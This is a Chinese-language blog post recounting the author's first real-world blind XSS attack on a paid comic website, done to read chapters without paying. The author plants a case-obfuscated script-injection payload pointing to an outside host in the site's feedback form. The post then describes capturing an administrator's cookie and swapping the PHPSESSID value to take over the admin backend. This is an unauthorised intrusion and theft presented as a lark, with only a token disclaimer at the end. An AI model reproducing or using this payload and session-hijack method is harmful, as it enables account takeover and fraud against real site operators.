第一次实战：XX漫画的XSS盲打

第一次实战：XX漫画的XSS盲打

XSS盲打

盲打是一种惯称的说法，就是不知道有没有XSS漏洞存在的情况下，不顾一切的输入XSS代码在留言啊投诉窗口啊之类的地方，尽可能多的尝试XSS的语句，就叫盲打。一句话，就是干，往死里使劲干。

Interesting，哦，不对，Disgusting的发现

（竟然有这种荼毒人们思想的坏东西。。。不看不看）

但我同学看的是欲罢不能、血脉喷张。

幸好后面章节要充值。。。

他说：“这不好使，师哥告诉过我们‘能白嫖绝不充钱’。”

那行吧，帮他一下，方便他人也是方便自己

让我看看个人设置

点开问题反馈

输入XSS 语句：

</tExtArEa>'"><sCRiPt sRC=https://。。。.com/。。。></sCrIpT>

然后提交，等待管理员看到，就有可能触发哦吼吼吼！

但接下来需要漫长的等待

（这里说一下为什么不去免费网站：因为免费的话管理员可能不会常来，我还得写今周的学习报告。。。(=_=)）

一发入魂

比较幸运，前天发的XSS，今天就收到了信息，在XSS后台就看到了打中消息，让我们访问后台，替换cookie进入。（替换PHPSESSID的value即可。）

进入后台。

白嫖开始！

请记住：互联网并非法外之地！

请记住：互联网并非法外之地！